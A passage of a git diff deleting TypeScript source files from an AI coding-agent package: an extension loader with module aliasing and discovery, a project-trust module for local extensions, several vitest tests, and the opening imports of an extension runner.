"@singularity-forge/pi-agent-core", - ), - "@singularity-forge/pi-tui": resolveWorkspaceOrImport( - "tui/dist/index.js", - "@singularity-forge/pi-tui", - ), - "@singularity-forge/pi-ai": resolveWorkspaceOrImport( - "ai/dist/index.js", - "@singularity-forge/pi-ai", - ), - "@singularity-forge/pi-ai/oauth": resolveWorkspaceOrImport( - "ai/dist/oauth.js", - "@singularity-forge/pi-ai/oauth", - ), - "@sinclair/typebox": typeboxRoot, - yaml: yamlRoot, - // Aliases for external PI ecosystem packages that import from the original scope - "@mariozechner/pi-coding-agent": packageIndex, - "@mariozechner/pi-agent-core": resolveWorkspaceOrImport( - "agent/dist/index.js", - "@singularity-forge/pi-agent-core", - ), - "@mariozechner/pi-tui": resolveWorkspaceOrImport( - "tui/dist/index.js", - "@singularity-forge/pi-tui", - ), - "@mariozechner/pi-ai": resolveWorkspaceOrImport( - "ai/dist/index.js", - "@singularity-forge/pi-ai", - ), - "@mariozechner/pi-ai/oauth": resolveWorkspaceOrImport( - "ai/dist/oauth.js", - "@singularity-forge/pi-ai/oauth", - ), - }; - - return _aliases; -} - -function getJitiOptions() { - return isBunBinary - ? { virtualModules: VIRTUAL_MODULES, tryNative: false } - : { alias: getAliases() }; -} - -const _moduleImporters = new Map>(); - -function getModuleImporter(parentModuleUrl: string) { - let importer = _moduleImporters.get(parentModuleUrl); - if (!importer) { - importer = createJiti(parentModuleUrl, { - moduleCache: true, - ...getJitiOptions(), - }); - _moduleImporters.set(parentModuleUrl, importer); - } - return importer; -} - -export async function importExtensionModule( - parentModuleUrl: string, - specifier: string, -): Promise { - const resolvedPath = fileURLToPath(new URL(specifier, parentModuleUrl)); - if (resolvedPath.endsWith(".js") || resolvedPath.endsWith(".mjs")) { - return (await import(pathToFileURL(resolvedPath).href)) as T; - } - const importer = getModuleImporter(parentModuleUrl); - return importer.import(resolvedPath) as Promise; -} - -const UNICODE_SPACES = /[\u00A0\u1680\u2000-\u200A\u202F\u205F\u3000]/g; - -function normalizeUnicodeSpaces(str: string): string { - return str.replace(UNICODE_SPACES, " "); -} - -function expandPath(p: string): string { - const normalized = normalizeUnicodeSpaces(p); - if (normalized.startsWith("~/")) { - return path.join(os.homedir(), normalized.slice(2)); - } - if (normalized.startsWith("~")) { - return path.join(os.homedir(), normalized.slice(1)); - } - return normalized; -} - -function resolvePath(extPath: string, cwd: string): string { - const expanded = expandPath(extPath); - if (path.isAbsolute(expanded)) { - return expanded; - } - return path.resolve(cwd, expanded); -} - -type HandlerFn = (...args: unknown[]) => Promise; - -/** - * Create a runtime with throwing stubs for action methods. - * Runner.bindCore() replaces these with real implementations. - */ -export function createExtensionRuntime(): ExtensionRuntime { - const notInitialized = () => { - throw new Error( - "Extension runtime not initialized. Action methods cannot be called during extension loading.", - ); - }; - - const runtime: ExtensionRuntime = { - sendMessage: notInitialized, - sendUserMessage: notInitialized, - retryLastTurn: notInitialized, - appendEntry: notInitialized, - setSessionName: notInitialized, - getSessionName: notInitialized, - setLabel: notInitialized, - getActiveTools: notInitialized, - getAllTools: notInitialized, - setActiveTools: notInitialized, - // registerTool() is valid during extension load; refresh is only needed post-bind. - refreshTools: () => {}, - getCommands: notInitialized, - setModel: () => - Promise.reject(new Error("Extension runtime not initialized")), - getThinkingLevel: notInitialized, - setThinkingLevel: notInitialized, - flagValues: new Map(), - pendingProviderRegistrations: [], - // Pre-bind: queue registrations so bindCore() can flush them once the - // model registry is available. bindCore() replaces both with direct calls. - registerProvider: (name, config) => { - runtime.pendingProviderRegistrations.push({ name, config }); - }, - unregisterProvider: (name) => { - runtime.pendingProviderRegistrations = - runtime.pendingProviderRegistrations.filter((r) => r.name !== name); - }, - // Stubs replaced by ExtensionRunner at construction time via bindEmitMethods(). - emitBeforeModelSelect: async () => undefined, - emitAdjustToolSet: async () => undefined, - }; - - return runtime; -} - -/** - * Create the ExtensionAPI for an extension. - * Registration methods write to the extension object. - * Action methods delegate to the shared runtime. - */ -function createExtensionAPI( - extension: Extension, - runtime: ExtensionRuntime, - cwd: string, - eventBus: EventBus, -): ExtensionAPI { - const api = { - // Registration methods - write to extension - on(event: string, handler: HandlerFn): void { - const list = extension.handlers.get(event) ?? []; - list.push(handler); - extension.handlers.set(event, list); - }, - - registerTool(tool: ToolDefinition): void { - extension.tools.set(tool.name, { - definition: tool, - extensionPath: extension.path, - }); - // ADR-005: auto-register tool compatibility metadata - if (tool.compatibility) { - registerToolCompatibility(tool.name, tool.compatibility); - } - runtime.refreshTools(); - }, - - unregisterTool(name: string): void { - extension.tools.delete(name); - runtime.refreshTools(); - }, - - registerCommand( - name: string, - options: Omit, - ): void { - extension.commands.set(name, { name, ...options }); - }, - - registerBeforeInstall(handler: LifecycleHookHandler): void { - extension.lifecycleHooks.beforeInstall.push(handler); - }, - - registerAfterInstall(handler: LifecycleHookHandler): void { - extension.lifecycleHooks.afterInstall.push(handler); - }, - - registerBeforeRemove(handler: LifecycleHookHandler): void { - extension.lifecycleHooks.beforeRemove.push(handler); - }, - - registerAfterRemove(handler: LifecycleHookHandler): void { - extension.lifecycleHooks.afterRemove.push(handler); - }, - - registerShortcut( - shortcut: KeyId, - options: { - description?: string; - handler: ( - ctx: import("./types.js").ExtensionContext, - ) => Promise | void; - }, - ): void { - extension.shortcuts.set(shortcut, { - shortcut, - extensionPath: extension.path, - ...options, - }); - }, - - registerFlag( - name: string, - options: { - description?: string; - type: "boolean" | "string"; - default?: boolean | string; - allowNoValue?: boolean; - onStartup?: ( - value: boolean | string, - context: import("./types.js").ExtensionStartupContext, - ) => Promise | void; - }, - ): void { - extension.flags.set(name, { - name, - extensionPath: extension.path, - ...options, - }); - if (options.default !== undefined && !runtime.flagValues.has(name)) { - runtime.flagValues.set(name, options.default); - } - }, - - registerMessageRenderer( - customType: string, - renderer: MessageRenderer, - ): void { - extension.messageRenderers.set(customType, renderer as MessageRenderer); - }, - - // Flag access - checks extension registered it, reads from runtime - getFlag(name: string): boolean | string | undefined { - if (!extension.flags.has(name)) return undefined; - return runtime.flagValues.get(name); - }, - - // Action methods - delegate to shared runtime - sendMessage(message, options): Promise { - return runtime.sendMessage(message, options); - }, - - sendUserMessage(content, options): void { - runtime.sendUserMessage(content, options); - }, - - retryLastTurn(): void { - runtime.retryLastTurn(); - }, - - appendEntry(customType: string, data?: unknown): void { - runtime.appendEntry(customType, data); - }, - - setSessionName(name: string): void { - runtime.setSessionName(name); - }, - - getSessionName(): string | undefined { - return runtime.getSessionName(); - }, - - setLabel(entryId: string, label: string | undefined): void { - runtime.setLabel(entryId, label); - }, - - exec(command: string, args: string[], options?: ExecOptions) { - return execCommand(command, args, options?.cwd ?? cwd, options); - }, - - getActiveTools(): string[] { - return runtime.getActiveTools(); - }, - - getAllTools() { - return runtime.getAllTools(); - }, - - setActiveTools(toolNames: string[]): void { - runtime.setActiveTools(toolNames); - }, - - getCommands() { - return runtime.getCommands(); - }, - - setModel(model) { - return runtime.setModel(model); - }, - - getThinkingLevel() { - return runtime.getThinkingLevel(); - }, - - setThinkingLevel(level) { - runtime.setThinkingLevel(level); - }, - - registerProvider(name: string, config: ProviderConfig) { - runtime.registerProvider(name, config); - }, - - unregisterProvider(name: string) { - runtime.unregisterProvider(name); - }, - - async emitBeforeModelSelect( - event: Omit, - ): Promise { - return runtime.emitBeforeModelSelect(event); - }, - - async emitAdjustToolSet( - event: Omit, - ): Promise { - return runtime.emitAdjustToolSet(event); - }, - - events: eventBus, - } as ExtensionAPI; - - return api; -} - -/** - * Heuristic patterns that indicate TypeScript syntax in a source file. - * Used to detect when a .js file accidentally contains TypeScript code - * and provide a helpful error message instead of a cryptic parse failure. - */ -const TS_SYNTAX_PATTERNS: RegExp[] = [ - // Variable type annotations: const name: string, let count: number - /\b(?:const|let|var)\s+\w+\s*:\s*(?:string|number|boolean|any|void|never|unknown|object|bigint|symbol|undefined|null)\b/, - // Parameter type annotations: (api: ExtensionAPI) - /\([ \t]*\w+[ \t]*:[ \t]*[A-Z]\w*/, - // Return type annotations: ): Promise { or ): string => - /\)\s*:\s*(?:Promise|string|number|boolean|void|any|never|unknown)\b/, - // Interface declarations - /\binterface\s+[A-Z]\w*\s*(?:<[^>]*>)?\s*\{/, - // Type alias declarations - /\btype\s+[A-Z]\w*\s*(?:<[^>]*>)?\s*=/, - // Angle-bracket type assertions: value - /(?:as\s+\w+(?:<[^>]*>)?)\s*[;,)\]}]/, - // Generic type parameters on functions: function foo - /\bfunction\s+\w+\s*<[^>]+>/, - // Enum declarations - /\benum\s+[A-Z]\w*\s*\{/, -]; - -/** - * Check whether a source string likely contains TypeScript syntax. - * This is a heuristic — it may produce false positives for unusual JS, - * but is tuned to catch the most common TS-in-JS mistakes. - */ -export function containsTypeScriptSyntax(source: string): boolean { - return TS_SYNTAX_PATTERNS.some((pattern) => pattern.test(source)); -} - -/** - * Shared jiti instance for loading extension modules. - * - * Before this fix (#2108), each extension created a NEW jiti instance with - * `moduleCache: false`, causing shared dependencies (e.g. @singularity-forge/pi-agent-core) - * to be recompiled for every extension — turning a ~3s parallel load into a - * ~15-30s serial compilation bottleneck. - * - * Using a single shared instance with `moduleCache: true` means shared modules - * are compiled once and reused across all extensions. - */ -let _extensionLoaderJiti: ReturnType | null = null; - -/** - * Reset the shared jiti singleton so the next call to getExtensionLoaderJiti() - * creates a fresh instance. This prevents memory leaks in long-running daemon - * processes (every loaded module stays cached forever) and ensures stale modules - * are not returned when extension source changes on disk. - */ -export function resetExtensionLoaderCache(): void { - _extensionLoaderJiti = null; -} - -function getExtensionLoaderJiti() { - if (!_extensionLoaderJiti) { - _extensionLoaderJiti = createJiti(import.meta.url, { - moduleCache: true, - ...getJitiOptions(), - }); - } - return _extensionLoaderJiti; -} - -async function loadExtensionModule(extensionPath: string) { - if (extensionPath.endsWith(".js") || extensionPath.endsWith(".mjs")) { - const module = await import(pathToFileURL(extensionPath).href); - const factory = (module.default ?? module) as ExtensionFactory; - return typeof factory !== "function" ? undefined : factory; - } - - // Pre-compiled extension loading: if the source is .ts and a sibling .js - // file exists with matching or newer mtime, use native import() to skip - // jiti JIT compilation entirely. This is the biggest startup win for - // bundled extensions that have already been built. - if (extensionPath.endsWith(".ts")) { - const jsPath = extensionPath.replace(/\.ts$/, ".js"); - try { - const [tsStat, jsStat] = [ - fs.statSync(extensionPath), - fs.statSync(jsPath), - ]; - if (jsStat.mtimeMs >= tsStat.mtimeMs) { - const module = await import(jsPath); - const factory = (module.default ?? module) as ExtensionFactory; - return typeof factory !== "function" ? undefined : factory; - } - } catch { - // .js file doesn't exist or stat failed — fall through to jiti - } - } - - const jiti = getExtensionLoaderJiti(); - - const module = await jiti.import(extensionPath, { default: true }); - const factory = module as ExtensionFactory; - return typeof factory !== "function" ? undefined : factory; -} - -/** - * Check whether a module path belongs to a non-extension library that should - * be silently skipped rather than reported as an error. - * - * A directory is a non-extension library when its package.json has a "pi" - * manifest that declares no extensions (e.g. `"pi": {}`). This is the - * opt-out convention used by shared libraries like cmux that live inside - * the extensions/ directory but are not extensions themselves. - * - * This serves as a defense-in-depth check: even if the upstream discovery - * layers fail to filter out the library, the loader itself will not emit - * a spurious error. - */ -function isNonExtensionLibrary(resolvedPath: string): boolean { - // Walk up from the resolved file to find the nearest package.json - let dir = path.dirname(resolvedPath); - const root = path.parse(dir).root; - while (dir !== root) { - const packageJsonPath = path.join(dir, "package.json"); - if (fs.existsSync(packageJsonPath)) { - try { - const content = fs.readFileSync(packageJsonPath, "utf-8"); - const pkg = JSON.parse(content); - if (pkg.pi && typeof pkg.pi === "object") { - // Has a pi manifest — check if it declares any extensions - const extensions = pkg.pi.extensions; - if (!Array.isArray(extensions) || extensions.length === 0) { - return true; - } - } - } catch { - // Malformed package.json — not a known library - } - break; - } - dir = path.dirname(dir); - } - return false; -} - -/** - * Create an Extension object with empty collections. - */ -function createExtension( - extensionPath: string, - resolvedPath: string, -): Extension { - return { - path: extensionPath, - resolvedPath, - handlers: new Map(), - tools: new Map(), - messageRenderers: new Map(), - commands: new Map(), - flags: new Map(), - shortcuts: new Map(), - lifecycleHooks: { - beforeInstall: [], - afterInstall: [], - beforeRemove: [], - afterRemove: [], - }, - }; -} - -async function loadExtension( - extensionPath: string, - cwd: string, - eventBus: EventBus, - runtime: ExtensionRuntime, -): Promise<{ extension: Extension | null; error: string | null }> { - const resolvedPath = resolvePath(extensionPath, cwd); - const start = Date.now(); - - try { - const factory = await loadExtensionModule(resolvedPath); - if (!factory) { - // Defense-in-depth: if the module is inside a directory that has - // explicitly opted out of extension loading via its pi manifest, - // silently skip it instead of reporting a spurious error. - if (isNonExtensionLibrary(resolvedPath)) { - return { extension: null, error: null }; - } - logExtensionTiming(extensionPath, Date.now() - start, "failed"); - - // Check if a .js file contains TypeScript syntax - if (resolvedPath.endsWith(".js")) { - try { - const source = fs.readFileSync(resolvedPath, "utf-8"); - if (containsTypeScriptSyntax(source)) { - return { - extension: null, - error: `Extension file "${extensionPath}" appears to contain TypeScript syntax but has a .js extension. Rename it to .ts so the loader can compile it.`, - }; - } - } catch { - // Could not read file — fall through to generic error - } - } - - return { - extension: null, - error: `Extension does not export a valid factory function: ${extensionPath}`, - }; - } - - const extension = createExtension(extensionPath, resolvedPath); - const api = createExtensionAPI(extension, runtime, cwd, eventBus); - await factory(api); - logExtensionTiming(extensionPath, Date.now() - start, "loaded"); - - return { extension, error: null }; - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - logExtensionTiming(extensionPath, Date.now() - start, "failed"); - - // Check if a .js file contains TypeScript syntax — the parse error from - // jiti/Node is often cryptic, so surface a clearer diagnostic. - if (resolvedPath.endsWith(".js")) { - try { - const source = fs.readFileSync(resolvedPath, "utf-8"); - if (containsTypeScriptSyntax(source)) { - return { - extension: null, - error: `Extension file "${extensionPath}" appears to contain TypeScript syntax but has a .js extension. Rename it to .ts so the loader can compile it.`, - }; - } - } catch { - // Could not read file — fall through to generic error - } - } - - return { - extension: null, - error: `Failed to load extension "${extensionPath}": ${message}`, - }; - } -} - -/** - * Create an Extension from an inline factory function. - */ -export async function loadExtensionFromFactory( - factory: ExtensionFactory, - cwd: string, - eventBus: EventBus, - runtime: ExtensionRuntime, - extensionPath = "", -): Promise { - const extension = createExtension(extensionPath, extensionPath); - const api = createExtensionAPI(extension, runtime, cwd, eventBus); - await factory(api); - return extension; -} - -/** - * Load extensions from paths. - * - * Extensions are loaded in parallel to reduce wall-clock time (~30-50% faster - * than sequential loading for I/O-bound jiti compilation). - */ -export async function loadExtensions( - paths: string[], - cwd: string, - eventBus?: EventBus, -): Promise { - const resolvedEventBus = eventBus ?? createEventBus(); - const runtime = createExtensionRuntime(); - - const results = await Promise.all( - paths.map((extPath) => - loadExtension(extPath, cwd, resolvedEventBus, runtime), - ), - ); - - const extensions: Extension[] = []; - const errors: Array<{ path: string; error: string }> = []; - - for (let i = 0; i < results.length; i++) { - const { extension, error } = results[i]; - if (error) { - errors.push({ path: paths[i], error }); - } else if (extension) { - extensions.push(extension); - } - } - - return { - extensions, - errors, - runtime, - }; -} - -interface PiManifest { - extensions?: string[]; - themes?: string[]; - skills?: string[]; - prompts?: string[]; -} - -function readPiManifest(packageJsonPath: string): PiManifest | null { - try { - const content = fs.readFileSync(packageJsonPath, "utf-8"); - const pkg = JSON.parse(content); - if (pkg.pi && typeof pkg.pi === "object") { - return pkg.pi as PiManifest; - } - return null; - } catch { - return null; - } -} - -function isExtensionFile(name: string): boolean { - return ( - (name.endsWith(".ts") && !name.endsWith(".d.ts")) || - (name.endsWith(".js") && !name.endsWith(".d.js")) - ); -} - -/** - * Resolve extension entry points from a directory. - * - * Checks for: - * 1. package.json with "pi.extensions" field -> returns declared paths - * 2. index.ts or index.js -> returns the index file - * - * Returns resolved paths or null if no entry points found. - */ -function resolveExtensionEntries(dir: string): string[] | null { - // Check for package.json with "pi" field first - const packageJsonPath = path.join(dir, "package.json"); - if (fs.existsSync(packageJsonPath)) { - const manifest = readPiManifest(packageJsonPath); - if (manifest) { - // When a pi manifest exists, it is authoritative — don't fall through - // to index.ts/index.js auto-detection. This allows library directories - // (like cmux) to opt out by declaring "pi": {} with no extensions. - if (!manifest.extensions?.length) { - return null; - } - const entries: string[] = []; - for (const extPath of manifest.extensions) { - const resolvedExtPath = path.resolve(dir, extPath); - if (fs.existsSync(resolvedExtPath)) { - entries.push(resolvedExtPath); - } - } - return entries.length > 0 ? entries : null; - } - } - - // Check for index.ts or index.js - const indexTs = path.join(dir, "index.ts"); - const indexJs = path.join(dir, "index.js"); - if (fs.existsSync(indexTs)) { - return [indexTs]; - } - if (fs.existsSync(indexJs)) { - return [indexJs]; - } - - return null; -} - -/** - * Discover extensions in a directory. - * - * Discovery rules: - * 1. Direct files: `extensions/*.ts` or `*.js` → load - * 2. Subdirectory with index: `extensions/* /index.ts` or `index.js` → load - * 3. Subdirectory with package.json: `extensions/* /package.json` with "pi" field → load what it declares - * - * No recursion beyond one level. Complex packages must use package.json manifest. - */ -function discoverExtensionsInDir(dir: string): string[] { - if (!fs.existsSync(dir)) { - return []; - } - - const discovered: string[] = []; - - try { - const entries = fs.readdirSync(dir, { withFileTypes: true }); - - for (const entry of entries) { - const entryPath = path.join(dir, entry.name); - - // 1. Direct files: *.ts or *.js - if ( - (entry.isFile() || entry.isSymbolicLink()) && - isExtensionFile(entry.name) - ) { - discovered.push(entryPath); - continue; - } - - // 2 & 3. Subdirectories - if (entry.isDirectory() || entry.isSymbolicLink()) { - const entries = resolveExtensionEntries(entryPath); - if (entries) { - discovered.push(...entries); - } - } - } - } catch { - return []; - } - - return discovered; -} - -/** - * Discover and load extensions from standard locations. - * - * @deprecated Use DefaultResourceLoader.reload() instead — this function is - * not called in the SF loading flow. Extension discovery happens through - * DefaultPackageManager.resolve() → addAutoDiscoveredResources(). Kept for - * backwards compatibility with direct pi-coding-agent consumers. - */ -export async function discoverAndLoadExtensions( - configuredPaths: string[], - cwd: string, - agentDir: string = getAgentDir(), - eventBus?: EventBus, -): Promise { - const allPaths: string[] = []; - const seen = new Set(); - - const addPaths = (paths: string[]) => { - for (const p of paths) { - const resolved = path.resolve(p); - if (!seen.has(resolved)) { - seen.add(resolved); - allPaths.push(p); - } - } - }; - - // 1. Project-local extensions: cwd/.pi/extensions/ - // Only loaded when the project path has been explicitly trusted (TOFU model). - const localExtDir = path.join(cwd, ".pi", "extensions"); - const localDiscovered = discoverExtensionsInDir(localExtDir); - if (localDiscovered.length > 0) { - const untrusted = getUntrustedExtensionPaths( - cwd, - localDiscovered, - agentDir, - ); - if (untrusted.length > 0) { - process.stderr.write( - `[pi] Skipping ${untrusted.length} project-local extension(s) in ${localExtDir} — project not trusted. Use trustProject() to enable.\n`, - ); - } - const trusted = localDiscovered.filter((p) => !untrusted.includes(p)); - addPaths(trusted); - } - - // 2. Global extensions: agentDir/extensions/ - const globalExtDir = path.join(agentDir, "extensions"); - addPaths(discoverExtensionsInDir(globalExtDir)); - - // 3. Explicitly configured paths - for (const p of configuredPaths) { - const resolved = resolvePath(p, cwd); - if (fs.existsSync(resolved) && fs.statSync(resolved).isDirectory()) { - // Check for package.json with pi manifest or index.ts - const entries = resolveExtensionEntries(resolved); - if (entries) { - addPaths(entries); - continue; - } - // No explicit entries - discover individual files in directory - addPaths(discoverExtensionsInDir(resolved)); - continue; - } - - addPaths([resolved]); - } - - return loadExtensions(allPaths, cwd, eventBus); -} diff --git a/packages/pi-coding-agent/src/core/extensions/project-trust.ts b/packages/pi-coding-agent/src/core/extensions/project-trust.ts deleted file mode 100644 index 06da66486..000000000 --- a/packages/pi-coding-agent/src/core/extensions/project-trust.ts +++ /dev/null @@ -1,54 +0,0 @@ -import * as fs from "node:fs"; -import * as path from "node:path"; - -const TRUSTED_PROJECTS_FILE = "trusted-projects.json"; - -function getTrustedProjectsPath(agentDir: string): string { - return path.join(agentDir, TRUSTED_PROJECTS_FILE); -} - -function readTrustedProjects(agentDir: string): Set { - const filePath = getTrustedProjectsPath(agentDir); - try { - const content = fs.readFileSync(filePath, "utf-8"); - const parsed = JSON.parse(content); - if (Array.isArray(parsed)) { - return new Set(parsed.filter((p) => typeof p === "string")); - } - } catch { - // File missing or malformed — start with empty set - } - return new Set(); -} - -function writeTrustedProjects(agentDir: string, trusted: Set): void { - const filePath = getTrustedProjectsPath(agentDir); - fs.mkdirSync(agentDir, { recursive: true }); - fs.writeFileSync(filePath, JSON.stringify([...trusted], null, 2), "utf-8"); -} - -export function isProjectTrusted( - projectPath: string, - agentDir: string, -): boolean { - const canonical = path.resolve(projectPath); - return readTrustedProjects(agentDir).has(canonical); -} - -export function trustProject(projectPath: string, agentDir: string): void { - const canonical = path.resolve(projectPath); - const trusted = readTrustedProjects(agentDir); - trusted.add(canonical); - writeTrustedProjects(agentDir, trusted); -} - -export function getUntrustedExtensionPaths( - projectPath: string, - extensionPaths: string[], - agentDir: string, -): string[] { - if (isProjectTrusted(projectPath, agentDir)) { - return []; - } - return extensionPaths; -} diff --git a/packages/pi-coding-agent/src/core/extensions/provider-registration.test.ts b/packages/pi-coding-agent/src/core/extensions/provider-registration.test.ts deleted file mode 100644 index b9503e765..000000000 --- a/packages/pi-coding-agent/src/core/extensions/provider-registration.test.ts +++ /dev/null @@ -1,81 +0,0 @@ -// sf — Regression test: pendingProviderRegistrations must be flushed exactly once (#3576) -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; - -/** - * This test validates that the provider preflush pattern in sdk.ts clears - * pendingProviderRegistrations after iterating, so bindCore() doesn't - * re-register the same providers. - * - * The bug: createAgentSession() iterated pendingProviderRegistrations but - * did not clear the array. Later, bindCore() replayed and registered the - * same providers again, stacking wrappers. - */ - -interface ProviderEntry { - name: string; - config: Record; -} - -interface MockRuntime { - pendingProviderRegistrations: ProviderEntry[]; -} - -describe("provider registration preflush", () => { - it("clears pending registrations after preflush so bindCore does not replay", () => { - const registered: string[] = []; - const runtime: MockRuntime = { - pendingProviderRegistrations: [ - { name: "ollama", config: { type: "ollama" } }, - { name: "custom-provider", config: { type: "custom" } }, - ], - }; - - // Simulate sdk.ts preflush (lines 220-223) - for (const { name } of runtime.pendingProviderRegistrations) { - registered.push(name); - } - // The fix: clear after preflush - runtime.pendingProviderRegistrations = []; - - // Simulate bindCore() flush (runner.ts lines 268-271) - for (const { name } of runtime.pendingProviderRegistrations) { - registered.push(name); - } - runtime.pendingProviderRegistrations = []; - - assert.deepEqual( - registered, - ["ollama", "custom-provider"], - "each provider should be registered exactly once", - ); - }); - - it("without the fix, providers are registered twice", () => { - const registered: string[] = []; - const runtime: MockRuntime = { - pendingProviderRegistrations: [ - { name: "ollama", config: { type: "ollama" } }, - ], - }; - - // Old behavior: preflush without clearing - for (const { name } of runtime.pendingProviderRegistrations) { - registered.push(name); - } - // NOT clearing — simulating the old bug - - // bindCore() replays the same queue - for (const { name } of runtime.pendingProviderRegistrations) { - registered.push(name); - } - - assert.deepEqual( - registered, - ["ollama", "ollama"], - "without clearing, providers are registered twice (demonstrating the bug)", - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/extensions/runner.test.ts b/packages/pi-coding-agent/src/core/extensions/runner.test.ts deleted file mode 100644 index a15bb85f7..000000000 --- a/packages/pi-coding-agent/src/core/extensions/runner.test.ts +++ /dev/null @@ -1,235 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { describe, it } from "vitest"; -import { AuthStorage } from "../auth-storage.js"; -import { ModelRegistry } from "../model-registry.js"; -import { SessionManager } from "../session-manager.js"; -import type { Extension, ExtensionRuntime, ToolCallEvent } from "./index.js"; -import { ExtensionRunner } from "./runner.js"; - -function makeMinimalRuntime(): ExtensionRuntime { - return { - sendMessage: async () => {}, - sendUserMessage: async () => {}, - appendEntry: () => {}, - setSessionName: () => {}, - getSessionName: () => undefined, - setLabel: () => {}, - getActiveTools: () => [], - getAllTools: () => [], - setActiveTools: () => {}, - refreshTools: () => {}, - getCommands: () => [], - setModel: async () => {}, - getThinkingLevel: () => undefined, - setThinkingLevel: () => {}, - registerProvider: () => {}, - unregisterProvider: () => {}, - pendingProviderRegistrations: [], - } as unknown as ExtensionRuntime; -} - -function makeThrowingExtension(eventType: string, error: Error): Extension { - const handlers = new Map(); - handlers.set(eventType, [ - async () => { - throw error; - }, - ]); - return { - path: "/test/throwing-ext", - handlers, - commands: [], - shortcuts: [], - diagnostics: [], - } as unknown as Extension; -} - -describe("ExtensionRunner.emitToolCall", () => { - it("catches throwing extension handler and routes to emitError", async () => { - const dir = mkdtempSync(join(tmpdir(), "runner-test-")); - try { - const sessionManager = SessionManager.create(dir, dir); - const authStorage = AuthStorage.create(); - const modelRegistry = new ModelRegistry( - authStorage, - join(dir, "models.json"), - ); - - const throwingExt = makeThrowingExtension( - "tool_call", - new Error("handler crashed"), - ); - const runtime = makeMinimalRuntime(); - const runner = new ExtensionRunner( - [throwingExt], - runtime, - dir, - sessionManager, - modelRegistry, - ); - - const errors: any[] = []; - runner.onError((err) => errors.push(err)); - - const event: ToolCallEvent = { - type: "tool_call", - toolCallId: "test-123", - toolName: "test_tool", - input: {}, - } as ToolCallEvent; - - const result = await runner.emitToolCall(event); - - // Should not throw — error is caught and routed to emitError - assert.equal(result, undefined); - assert.equal(errors.length, 1); - assert.equal(errors[0].error, "handler crashed"); - assert.equal(errors[0].event, "tool_call"); - assert.equal(errors[0].extensionPath, "/test/throwing-ext"); - } finally { - rmSync(dir, { recursive: true, force: true }); - } - }); -}); - -describe("ExtensionRunner UI compatibility", () => { - it("set_widget_when_host_widget_method_throws_does_not_fail_extension_event", async () => { - const dir = mkdtempSync(join(tmpdir(), "runner-widget-test-")); - try { - const sessionManager = SessionManager.create(dir, dir); - const authStorage = AuthStorage.create(); - const modelRegistry = new ModelRegistry( - authStorage, - join(dir, "models.json"), - ); - const handlers = new Map(); - handlers.set("session_start", [ - async (_event: unknown, ctx: any) => { - ctx.ui.setWidget("sf-progress", ["ready"], { - placement: "belowEditor", - }); - }, - ]); - const extension = { - path: "/test/widget-ext", - handlers, - commands: [], - shortcuts: [], - diagnostics: [], - } as unknown as Extension; - const runner = new ExtensionRunner( - [extension], - makeMinimalRuntime(), - dir, - sessionManager, - modelRegistry, - ); - const errors: any[] = []; - runner.onError((err) => errors.push(err)); - runner.setUIContext({ - ...runner.getUIContext(), - setWidget: () => { - throw new TypeError("host.setExtensionWidget is not a function"); - }, - }); - - await runner.emit({ type: "session_start" }); - - assert.deepEqual(errors, []); - } finally { - rmSync(dir, { recursive: true, force: true }); - } - }); -}); - -describe("ExtensionRunner command conflicts", () => { - it("registered_command_when_reserved_for_builtin_delegation_is_hidden_without_warning", () => { - const dir = mkdtempSync(join(tmpdir(), "runner-command-test-")); - try { - const sessionManager = SessionManager.create(dir, dir); - const authStorage = AuthStorage.create(); - const modelRegistry = new ModelRegistry( - authStorage, - join(dir, "models.json"), - ); - const commands = new Map(); - commands.set("exit", { - name: "exit", - description: "Graceful extension exit", - handler: async () => undefined, - }); - const extension = { - path: "/test/sf-ext", - handlers: new Map(), - commands, - shortcuts: [], - diagnostics: [], - } as unknown as Extension; - const runner = new ExtensionRunner( - [extension], - makeMinimalRuntime(), - dir, - sessionManager, - modelRegistry, - ); - - const commandsForAutocomplete = runner.getRegisteredCommands( - new Set(["exit"]), - new Set(["exit"]), - ); - - assert.deepEqual(commandsForAutocomplete, []); - assert.deepEqual(runner.getCommandDiagnostics(), []); - assert.equal( - runner.getCommand("exit")?.description, - "Graceful extension exit", - ); - } finally { - rmSync(dir, { recursive: true, force: true }); - } - }); - - it("registered_command_when_reserved_without_delegation_emits_conflict_warning", () => { - const dir = mkdtempSync(join(tmpdir(), "runner-command-test-")); - try { - const sessionManager = SessionManager.create(dir, dir); - const authStorage = AuthStorage.create(); - const modelRegistry = new ModelRegistry( - authStorage, - join(dir, "models.json"), - ); - const commands = new Map(); - commands.set("reload", { - name: "reload", - description: "Duplicate reload", - handler: async () => undefined, - }); - const extension = { - path: "/test/duplicate-ext", - handlers: new Map(), - commands, - shortcuts: [], - diagnostics: [], - } as unknown as Extension; - const runner = new ExtensionRunner( - [extension], - makeMinimalRuntime(), - dir, - sessionManager, - modelRegistry, - ); - - assert.deepEqual(runner.getRegisteredCommands(new Set(["reload"])), []); - assert.equal(runner.getCommandDiagnostics().length, 1); - assert.match( - runner.getCommandDiagnostics()[0]?.message ?? "", - /conflicts with built-in commands/, - ); - } finally { - rmSync(dir, { recursive: true, force: true }); - } - }); -}); diff --git a/packages/pi-coding-agent/src/core/extensions/runner.ts b/packages/pi-coding-agent/src/core/extensions/runner.ts deleted file mode 100644 index 7699790da..000000000 --- a/packages/pi-coding-agent/src/core/extensions/runner.ts +++ /dev/null @@ -1,1039 +0,0 @@ -/** - * Extension runner - executes extensions and manages their lifecycle. - */ - -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { ImageContent, Model } from "@singularity-forge/pi-ai"; -import type { KeyId } from "@singularity-forge/pi-tui"; -import { type Theme, theme } from "../../modes/interactive/theme/theme.js"; -import type { ResourceDiagnostic } from "../diagnostics.js"; -import type { KeyAction, KeybindingsConfig } from "../keybindings.js"; -import type { ModelRegistry } from "../model-registry.js"; -import type { SessionManager } from "../session-manager.js"; -import type { - AdjustToolSetEvent, - AdjustToolSetResult, - BeforeAgentStartEvent, - BeforeAgentStartEventResult, - BeforeModelSelectEvent, - BeforeModelSelectResult, - BeforeProviderRequestEvent, - CompactOptions, - ContextEvent, - ContextEventResult, - ContextUsage, - Extension, - ExtensionActions, - ExtensionCommandContext, - ExtensionCommandContextActions, - ExtensionContext, - ExtensionContextActions, - 